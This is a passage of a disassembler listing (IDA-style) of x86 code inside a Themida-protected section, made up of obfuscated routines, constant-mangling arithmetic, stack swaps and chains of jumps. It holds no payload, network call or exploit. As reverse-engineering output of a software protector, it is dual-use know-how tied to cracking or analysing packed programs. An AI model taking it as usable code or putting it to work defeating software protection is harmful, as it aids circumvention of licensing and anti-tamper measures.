; ---------------------------------------------------------------------------


loc_556F07:				; CODE XREF: sub_559C84-2D48j
		pop	eax
		push	edi
		jmp	loc_55DF66
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	16E7h
		mov	[esp], ebx
		jmp	loc_55A923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D58


loc_556F1F:				; CODE XREF: sub_553D58+8j
		add	dh, 6Fh
		sub	al, dh
		jmp	loc_55FC66
; END OF FUNCTION CHUNK	FOR sub_553D58

; =============== S U B	R O U T	I N E =======================================



sub_556F29	proc near		; CODE XREF: sub_55ED81-120j

; FUNCTION CHUNK AT 0055485C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00557050 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055F365 SIZE 0000000B BYTES

		push	ebp
		jmp	loc_557050
sub_556F29	endp


; =============== S U B	R O U T	I N E =======================================



sub_556F2F	proc near		; DATA XREF: Themida_:0055345Co
		pop	dword ptr [edx]
		jmp	loc_55351F
sub_556F2F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556F36:				; CODE XREF: sub_559C84-EB0j
		sub	bh, 2Ch
		push	[esp+10h+var_10]
		jmp	loc_556F07
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556F41:				; CODE XREF: Themida_:00556B63j
		or	ebp, eax
		pop	eax
		shr	ebp, 8
		xor	ebp, 79DD7Fh
		or	[edi+1Ch], ebp
		mov	ebp, [esp]
		jmp	loc_558826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55590A


loc_556F58:				; CODE XREF: sub_55590A-1A5Cj
		add	ebp, eax
		pop	eax
		jmp	loc_5577D4
; END OF FUNCTION CHUNK	FOR sub_55590A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556F60:				; CODE XREF: sub_559C84+4874j
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp+14h+var_14]
		xor	[esp+14h+var_14], ecx
		xor	ecx, [esp+14h+var_14]
		pop	esp
		push	110Eh
		mov	[esp+14h+var_14], eax
		jmp	loc_55D59A
; ---------------------------------------------------------------------------


loc_556F86:				; CODE XREF: sub_559C84+293Bj
		pop	ebx
		push	[esp+10h+var_10]
		jmp	loc_5594F9
; ---------------------------------------------------------------------------


loc_556F8F:				; CODE XREF: sub_559C84-50E3j
		mov	cx, 4CB2h
		add	di, cx
		jmp	loc_55843B
; ---------------------------------------------------------------------------


loc_556F9B:				; CODE XREF: sub_559C84-6329j
		and	ebp, eax
		pop	eax
		sub	ebp, 418D3394h
		sub	ebp, 2372DD0Ah
		sub	esi, ebp
		pop	ebp
		xor	esi, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], esi
		xor	esi, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		mov	word ptr [esp+48h+var_4A+2], cx
		jmp	loc_554CA2
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_556FC2	proc near		; CODE XREF: sub_559C84+234Cj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00556AF5 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], esi
		mov	esi, 62F07488h
		not	esi
		or	esi, 6FDF590Fh
		shr	esi, 5
		and	esi, 275103EDh
		add	esi, 1FC604ACh
		jmp	loc_556AF5
sub_556FC2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556FE9:				; CODE XREF: sub_559C84-2BFDj
		pop	edx
		or	ch, 28h
		xor	ch, 91h
		neg	ch
		sub	ch, 0ABh
		mov	dh, ch
		mov	ecx, [esp+44h+var_46+2]
		add	esp, 4
		sub	al, dh
		mov	dx, word ptr [esp+40h+var_42+2]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_557013:				; DATA XREF: Themida_:0055323Co
		mov	ax, fs:[edx]
		jmp	loc_555C43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55701C:				; CODE XREF: sub_559C84+5696j
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp+38h+var_3A+2]
		pop	esp
		mov	[esp+34h+var_34], ebx
		push	ebp
		jmp	loc_55AA40
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_55702F	proc near		; CODE XREF: sub_559C84-539Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553E5B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005559CE SIZE 00000022 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_553E5B
sub_55702F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557043:				; CODE XREF: sub_559C84-40CFj
		mov	[esp+4Ch+var_4E+2], edi
		mov	edi, 4E1D61FBh
		jmp	loc_553CC6
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556F29


loc_557050:				; CODE XREF: sub_556F29+1j
		push	edi
		mov	edi, 70CB0F3Fh
		xor	edi, 14995F43h
		push	ebx
		jmp	loc_55F365
; END OF FUNCTION CHUNK	FOR sub_556F29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557062:				; CODE XREF: sub_559C84-53D3j
		add	ebx, 502056CDh
		mov	edx, ebx
		pop	ebx
		jmp	loc_55821D
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_557070:				; DATA XREF: Themida_:00553354o
		push	dword ptr [esp]
		jmp	loc_555728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557078:				; CODE XREF: sub_559C84+D99j
		add	ebp, 4
		jmp	loc_5567DD
; ---------------------------------------------------------------------------


loc_557083:				; CODE XREF: sub_559C84+32B3j
		mov	dl, 6Ch
		mov	ch, dl
		jmp	loc_556FE9
; ---------------------------------------------------------------------------


loc_55708C:				; CODE XREF: sub_559C84-661Dj
		mov	dl, 53h
		jmp	loc_556931
; ---------------------------------------------------------------------------


loc_557093:				; CODE XREF: sub_559C84-5AF1j
		pop	esp
		mov	ax, word ptr [esp-4+arg_0]
		push	edi
		push	165Eh
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		push	[esp+4+var_4]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5587FC
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55991D


loc_5570BD:				; CODE XREF: sub_55991D+7j
		sub	ebp, 4E3477F4h
		sub	ebp, 0C6425842h
		add	ecx, ebp
		jmp	loc_55CB3B
; END OF FUNCTION CHUNK	FOR sub_55991D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5570D0:				; CODE XREF: sub_559C84-56EFj
		xor	edi, eax
		sub	edi, 7B144519h
		add	edi, 0D38E6630h
		add	ebx, 2133144Fh
		add	ebx, edi
		push	ecx
		mov	ecx, 2133144Fh
		sub	ebx, ecx
		pop	ecx
		mov	edi, [esp+20h+var_20]
		add	esp, 4
		jmp	loc_55C41B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5570FA:				; CODE XREF: Themida_:0055F053j
		mov	[esp], ebx
		mov	ebx, 2
		sub	esi, 22E361EFh
		add	esi, ebx
		jmp	loc_55FC40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55710F:				; CODE XREF: sub_559C84-43A6j
		add	al, 0E7h
		and	al, 70h
		shl	al, 3
		inc	al
		add	al, 0Ch
		sub	dh, al
		pop	eax
		sub	al, 0F5h
		jmp	loc_55496F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_559D7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55712D:				; CODE XREF: sub_559C84+26E8j
		shl	eax, cl
		jmp	loc_5572FA
; ---------------------------------------------------------------------------


loc_557134:				; CODE XREF: sub_559C84-5219j
		push	5A2107E8h
		push	[esp+52h+var_52]
		pop	edx
		add	esp, 4
		push	edx
		not	[esp+52h+var_52]
		pop	edx
		jmp	loc_55F134
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D58


loc_55714D:				; CODE XREF: sub_553D58+BF1Bj
		sub	al, bl
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	al, 0B7h
		add	al, ch
		jmp	loc_55ECBD
; END OF FUNCTION CHUNK	FOR sub_553D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557161:				; CODE XREF: sub_559C84-5164j
		mov	edx, esp
		jmp	loc_553F01
; ---------------------------------------------------------------------------


loc_557168:				; CODE XREF: sub_559C84-2E4Ej
		and	al, ch
		pop	ecx
		not	al
		sub	al, 0BAh
		dec	al
		jmp	loc_55A78F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_557176:				; CODE XREF: Themida_:0055471Ej
		add	dword ptr [esp+4], 19DF7D97h
		jmp	loc_55957C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557183:				; CODE XREF: sub_559C84-4B2Bj
		add	edi, esi
		pop	esi
		xor	edi, [esp-16h+arg_10+2]
		xor	[esp-16h+arg_10+2], edi
		xor	edi, [esp-16h+arg_10+2]
		mov	esp, [esp-16h+arg_10+2]
		jmp	loc_554A69
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_557197:				; CODE XREF: Themida_:0055F9BEj
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_55A514
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5571A4:				; CODE XREF: sub_559C84-9EBj
		pop	esp
		add	[esp-1Ah+arg_18+2], ebp
		push	ebp
		jmp	loc_556829
; ---------------------------------------------------------------------------


loc_5571AF:				; CODE XREF: sub_559C84+1012j
		sub	esi, 0A8546286h
		jmp	loc_55A7EE
; ---------------------------------------------------------------------------


loc_5571BA:				; CODE XREF: sub_559C84+3490j
		shr	ebx, 4
		jmp	loc_5548AB
; ---------------------------------------------------------------------------


loc_5571C2:				; CODE XREF: sub_559C84+2E99j
		add	ecx, edx
		mov	edx, [esp-16h+arg_10+2]
		add	esp, 4
		xor	ecx, ebp
		push	[esp-1Ah+arg_14+2]
		jmp	loc_55C714
; ---------------------------------------------------------------------------


loc_5571D7:				; CODE XREF: sub_559C84-4CBBj
		add	ebx, 127C0436h
		sub	ebx, ebp
		jmp	loc_55D83B
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5571E4	proc near		; CODE XREF: sub_559C84+1EF8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00557E0D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00558A17 SIZE 0000000D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	si, 3681h
		shr	si, 3
		not	si
		xor	si, 0E44Fh
		mov	di, si
		mov	esi, [esp+4+var_4]
		add	esp, 4
		push	ebp
		mov	bp, 7136h
		add	bp, 0D5C5h
		and	di, bp
		pop	ebp
		shr	di, 1
		jmp	loc_558A17
sub_5571E4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55721C:				; CODE XREF: sub_559C84-3EFEj
		push	ecx
		neg	[esp+62h+var_64+2]
		pop	ecx
		or	ecx, 4E6F7449h
		jmp	loc_555B06
; ---------------------------------------------------------------------------


loc_55722C:				; CODE XREF: sub_559C84-5CAj
		dec	ecx
		or	ecx, 23435F0h
		jmp	loc_55973E
; ---------------------------------------------------------------------------


loc_557238:				; CODE XREF: sub_559C84+119Bj
		add	edx, 9CF4B908h
		add	esi, edx
		pop	edx
		jmp	loc_557647
; ---------------------------------------------------------------------------


loc_557246:				; CODE XREF: sub_559C84-627Ej
		not	bh
		jmp	loc_55CB2B
; ---------------------------------------------------------------------------


loc_55724D:				; CODE XREF: sub_559C84-5B9Ej
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 3D8B7DE0h
		xor	esi, 3D8B7DE2h
		mov	eax, esi
		pop	esi
		add	edx, eax
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_55FA5A
; ---------------------------------------------------------------------------


loc_55726D:				; CODE XREF: sub_559C84+159Dj
		mov	esi, 4C950893h
		sub	[esp-4+arg_4], 3BE3639Eh
		sub	[esp-4+arg_4], esi
		jmp	loc_55DE12
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557920


loc_557283:				; CODE XREF: sub_557920+9j
		push	ecx
		push	4A8E6D0Fh
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_558721
; END OF FUNCTION CHUNK	FOR sub_557920
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5559F0


loc_557294:				; CODE XREF: sub_5559F0+3068j
		push	esi
		mov	esi, 7D5A622Bh
		inc	esi
		neg	esi
		add	esi, 7D5A622Eh
		jmp	loc_55E89E
; END OF FUNCTION CHUNK	FOR sub_5559F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5572A8:				; CODE XREF: sub_559C84-2186j
		mov	[esp-4+arg_0], edx
		mov	edx, 8A4F15h
		sub	esi, 593D3428h
		sub	esi, edx
		add	esi, 593D3428h
		mov	edx, [esp-4+arg_0]
		jmp	loc_555058
; ---------------------------------------------------------------------------


loc_5572C6:				; CODE XREF: sub_559C84-176Dj
		push	ax
		mov	al, 18h
		sub	esp, 4
		mov	[esp+2+var_4+2], edx
		jmp	loc_55CD47
; ---------------------------------------------------------------------------


loc_5572D5:				; CODE XREF: sub_559C84+48ADj
		not	ebp
		neg	ebp
		jmp	loc_55F165
; ---------------------------------------------------------------------------


loc_5572DE:				; CODE XREF: sub_559C84+39CDj
		mov	[esp+2+var_4+2], edi
		jmp	loc_5557E4
; ---------------------------------------------------------------------------


loc_5572E6:				; CODE XREF: sub_559C84+3095j
		pop	esi
		add	edx, 4
		jmp	loc_55C336
; ---------------------------------------------------------------------------


loc_5572EF:				; CODE XREF: sub_559C84+37B0j
		or	ecx, 31787712h
		jmp	loc_55E826
; ---------------------------------------------------------------------------


loc_5572FA:				; CODE XREF: sub_559C84-2B55j
		push	edx
		push	0FFFFFFFFh
		push	[esp+10h+var_10]
		pop	edx
		jmp	loc_55BD96
; ---------------------------------------------------------------------------


loc_557309:				; CODE XREF: sub_559C84-5749j
		mov	[esp+34h+var_34], eax
		jmp	loc_557C8B
; ---------------------------------------------------------------------------


loc_557311:				; CODE XREF: sub_559C84+3A12j
		neg	ebp
		or	ebp, 718C3E07h
		dec	ebp
		push	edi
		mov	edi, 0AFC4D11Ch
		sub	ebp, edi
		jmp	loc_55B990
; ---------------------------------------------------------------------------


loc_557327:				; CODE XREF: sub_559C84-3CC4j
		sub	bx, ax
		sub	bx, 64E5h
		push	ax
		mov	ax, 3A62h
		push	edi
		mov	di, 1872h
		inc	di
		or	di, 5E8Dh
		jmp	loc_554B9F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557976


loc_557346:				; CODE XREF: sub_557976-2962j
		pop	edx
		sub	al, 0BEh
		add	al, bl
		push	edx
		jmp	loc_5562CA
; END OF FUNCTION CHUNK	FOR sub_557976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557351:				; CODE XREF: sub_559C84-914j
		xor	ebx, eax
		jmp	loc_555201
; ---------------------------------------------------------------------------


loc_557358:				; CODE XREF: sub_559C84+74Ej
		sub	bl, al
		add	bl, 19h
		sub	bl, 28h
		add	bl, 7Eh
		push	edx
		push	787924A7h
		jmp	loc_554F63
; ---------------------------------------------------------------------------


loc_55736E:				; CODE XREF: sub_559C84-28AEj
		mov	edi, 70B94270h
		sub	ebp, edi
		mov	edi, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_55CAFC
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557380	proc near		; CODE XREF: sub_559C84-1E7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esi
		xor	[esp+8+var_8], 4AA96FB4h
		jmp	loc_55B0DE
sub_557380	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557393:				; CODE XREF: sub_559C84-A51j
		pop	edx
		jmp	loc_55944E
; ---------------------------------------------------------------------------


loc_557399:				; CODE XREF: sub_559C84+3EC3j
		push	edx
		push	67944129h
		jmp	loc_55371D
; ---------------------------------------------------------------------------


loc_5573A4:				; CODE XREF: sub_559C84-25FEj
		push	edx
		mov	dh, 0A8h
		shr	dh, 8
		shr	dh, 5
		push	eax
		mov	al, 6
		inc	al
		neg	al
		not	al
		neg	al
		xor	al, 36h
		and	dh, al
		pop	eax
		sub	dh, 0D3h
		jmp	loc_55E96C
; ---------------------------------------------------------------------------


loc_5573C5:				; CODE XREF: sub_559C84+1259j
		push	esi
		mov	esi, esp
		push	7E8h
		mov	[esp+68h+var_6A+2], ebp
		mov	ebp, 70B94274h
		push	edi
		jmp	loc_55736E
; ---------------------------------------------------------------------------


loc_5573DB:				; CODE XREF: sub_559C84+5C5j
		add	al, bl
		jmp	loc_553B72
; ---------------------------------------------------------------------------


loc_5573E2:				; CODE XREF: sub_559C84+2816j
		pop	ecx
		add	ebx, 429A5D6Dh
		mov	ecx, ebx
		mov	ebx, [esp+68h+var_6A+2]
		add	esp, 4
		push	ecx
		mov	ebp, [esp+68h+var_6A+2]
		add	esp, 4
		jmp	loc_559565
; ---------------------------------------------------------------------------


loc_557400:				; CODE XREF: sub_559C84+4257j
		xchg	edi, [esp+64h+var_64]
		jmp	loc_553D19
; ---------------------------------------------------------------------------


loc_557408:				; CODE XREF: sub_559C84+4A3Dj
		push	esi
		mov	esi, esp
		push	6263h
		mov	[esp+0], ebp
		push	esi
		push	ebx
		push	4DE27810h
		pop	ebx
		sub	ebx, 4DE2780Ch
		mov	esi, ebx
		mov	ebx, [esp+0]
		jmp	loc_557AF0
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55698E


loc_55742B:				; CODE XREF: sub_55698E+2691j
		mov	ch, bl
		pop	ebx
		jmp	loc_55C6D3
; END OF FUNCTION CHUNK	FOR sub_55698E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557433:				; CODE XREF: sub_559C84-3E21j
		add	ebx, 4
		push	ecx
		push	esi
		push	59484D84h
		jmp	loc_55354F
; ---------------------------------------------------------------------------


loc_557445:				; CODE XREF: sub_559C84-621j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+5Ah+var_5C+2]
		pop	esp
		or	eax, eax
		jz	loc_55D1AD
		push	dword ptr [edi+1Ch]
		push	[esp+5Ah+var_5C+2]
		jmp	loc_559573
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F608


loc_557465:				; CODE XREF: sub_55F608-816Aj
		pop	esp
		mov	[esp-4+arg_0], edx
		jmp	loc_55BE42
; END OF FUNCTION CHUNK	FOR sub_55F608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55746E:				; CODE XREF: sub_559C84+F78j
		not	al
		inc	al
		dec	al
		jmp	loc_55C1DE
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F608


loc_557479:				; CODE XREF: sub_55F608-1475j
		mov	esi, esp
		push	edx
		mov	edx, 783253DAh
		sub	edx, 4C266267h
		and	edx, 42903DBAh
		not	edx
		sub	edx, 0FFFFCEC9h
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp-4+arg_0]
		jmp	loc_557465
; END OF FUNCTION CHUNK	FOR sub_55F608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E425


loc_5574A3:				; CODE XREF: sub_55E425-75F6j
		sub	esi, edi
		add	esi, 7C471701h
		pop	edi
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		shl	word ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_55E425
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5574D3:				; CODE XREF: sub_559C84-343Dj
		pop	edx
		mov	dl, 0E9h
		jmp	loc_55CD2F
; ---------------------------------------------------------------------------


loc_5574DB:				; CODE XREF: sub_559C84-221Aj
		add	ecx, esi
		pop	esi
		add	ecx, 2
		xor	ecx, [esp+14h+var_14]
		xor	[esp+14h+var_14], ecx
		xor	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		shr	word ptr [esp+14h+var_14], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5574F7:				; CODE XREF: sub_559C84+3A1Bj
		push	[esp+18h+var_18]
		jmp	loc_557ECA
; ---------------------------------------------------------------------------


loc_5574FF:				; CODE XREF: sub_559C84-188j
		mov	esi, 0EAB7B8Bh
		xor	esi, ecx
		pop	ecx
		mov	edi, esi
		mov	esi, [esp+18h+var_18]
		jmp	loc_557FF7
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ecx
		jmp	loc_55BCC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555BE3


loc_55752D:				; CODE XREF: sub_555BE3+356Ej
		add	[esp+8+var_8], 4
		pop	edi
		add	edi, 4
		push	466Ah
		mov	[esp+8+var_8], eax
		push	ebx
		mov	ebx, 7DBE15D2h
		shl	ebx, 2
		xor	ebx, 7B540CD0h
		shr	ebx, 6
		sub	ebx, 236B16Ch
		mov	eax, ebx
		pop	ebx
		add	edi, eax
		pop	eax
		jmp	loc_558253
; END OF FUNCTION CHUNK	FOR sub_555BE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557566:				; CODE XREF: sub_559C84-3BAEj
		push	5EEBh
		mov	[esp+48h+var_4A+2], eax
		push	ebx
		jmp	loc_559E43
; ---------------------------------------------------------------------------


loc_557574:				; CODE XREF: sub_559C84+28F3j
		mov	esp, [esp+4Ch+var_4E+2]
		mov	[esp+4Ch+var_4E+2], ebx
		sub	esp, 4
		mov	[esp+50h+var_52+2], esp
		jmp	loc_559585
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55590A


loc_557588:				; CODE XREF: sub_55590A+12D1j
		mov	[esp+4+var_4], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_55A9E5
; END OF FUNCTION CHUNK	FOR sub_55590A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55759B:				; CODE XREF: sub_559C84+21EAj
		mov	edi, ecx
		pop	ecx
		shl	edi, 8
		and	edi, 3C120C49h
		jmp	loc_558E87
; ---------------------------------------------------------------------------


loc_5575AC:				; CODE XREF: sub_559C84+31E0j
		mov	eax, 731C2BA6h
		add	eax, 0B9FBDF57h
		and	ebx, eax
		pop	eax
		add	ebx, 0D2F7F5F3h
		mov	esi, ebx
		mov	ebx, [esp+48h+var_4A+2]
		add	esp, 4
		and	ebx, esi
		mov	esi, [esp+44h+var_46+2]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_55BAC5
		sub	esp, 4
		mov	[esp+44h+var_46+2], edx
		push	esp
		jmp	loc_5564F1
; ---------------------------------------------------------------------------


loc_5575E6:				; CODE XREF: sub_559C84+31CCj
		mov	edi, 7159534Eh
		jmp	loc_55D89B
; ---------------------------------------------------------------------------


loc_5575F0:				; CODE XREF: sub_559C84-51E9j
		sub	[esp+52h+var_4E], edx
		jmp	loc_557FED
; ---------------------------------------------------------------------------


loc_5575F9:				; CODE XREF: sub_559C84+1413j
		add	esp, 4
		xchg	ebp, [esp+4Eh+var_4E]
		jmp	loc_554932
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_55E597
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559A2E


loc_557616:				; CODE XREF: sub_559A2E+6j
		sub	bh, ch
		mov	ecx, [esp+0]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5558F8
; END OF FUNCTION CHUNK	FOR sub_559A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E611


loc_557629:				; CODE XREF: sub_55E611+3j
		mov	[esp+0], edi
		push	edx
		jmp	loc_55E159
; END OF FUNCTION CHUNK	FOR sub_55E611
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5591C7


loc_557632:				; CODE XREF: sub_5591C7-3DA6j
		add	eax, edi
		jmp	loc_55BD76
; END OF FUNCTION CHUNK	FOR sub_5591C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557639:				; CODE XREF: sub_559C84-4531j
		add	esp, 4
		xor	edx, [esp+44h+var_46+2]
		jmp	loc_554B25
; ---------------------------------------------------------------------------


loc_557647:				; CODE XREF: sub_559C84-2A43j
		push	esi
		push	[esp+5Eh+var_5C+2]
		pop	esi
		pop	[esp+5Eh+var_60+2]
		pop	esp
		jmp	sub_55F569
; ---------------------------------------------------------------------------


loc_557656:				; CODE XREF: sub_559C84-45E7j
		add	bl, al
		sub	bl, 0DCh
		push	dx
		jmp	loc_555349
; ---------------------------------------------------------------------------


loc_557662:				; CODE XREF: sub_559C84-21F7j
		add	bl, dl
		jmp	loc_55595D
; ---------------------------------------------------------------------------


loc_557669:				; CODE XREF: sub_559C84+19B9j
		pop	eax
		add	dl, 0A5h
		neg	dl
		add	dl, 0ABh
		add	dl, bl
		mov	ebx, [esp+4Ah+var_4A]
		add	esp, 4
		add	al, dl
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		push	ecx
		push	eax
		mov	ah, 22h
		jmp	loc_5573A4
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55929E


loc_55768B:				; CODE XREF: sub_55929E-3AC9j
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], ax
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_55929E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5576A0:				; CODE XREF: sub_559C84+5AC9j
		mov	esp, [esp+4Ah+var_4A]
		mov	[esp+4Ah+var_4A], ebp
		mov	ebp, 95C63EEh
		sub	ebp, 1
		push	edx
		mov	edx, 714F15D3h
		and	edx, 1E25C7Bh
		or	edx, 6EEB746Bh
		push	edi
		mov	edi, 52052E35h
		and	edx, edi
		pop	edi
		not	edx
		dec	edx
		xor	edx, 0B4A2B8A0h
		sub	ebp, edx
		pop	edx
		and	ecx, ebp
		mov	ebp, [esp+4Ah+var_4A]
		add	esp, 4
		shr	ecx, 7
		sub	esp, 4
		mov	[esp+4Ah+var_4A], ecx
		jmp	sub_55E640
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5576EE	proc near		; DATA XREF: Themida_:0055349Co
		lodsd
		jmp	sub_55FA73
sub_5576EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5576F4:				; CODE XREF: sub_559C84+387Ej
		push	[esp+4Ah+var_4A]
		jmp	loc_559E13
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5576FC:				; CODE XREF: Themida_:00556BAFj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D1B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557711:				; CODE XREF: sub_559C84-516Cj
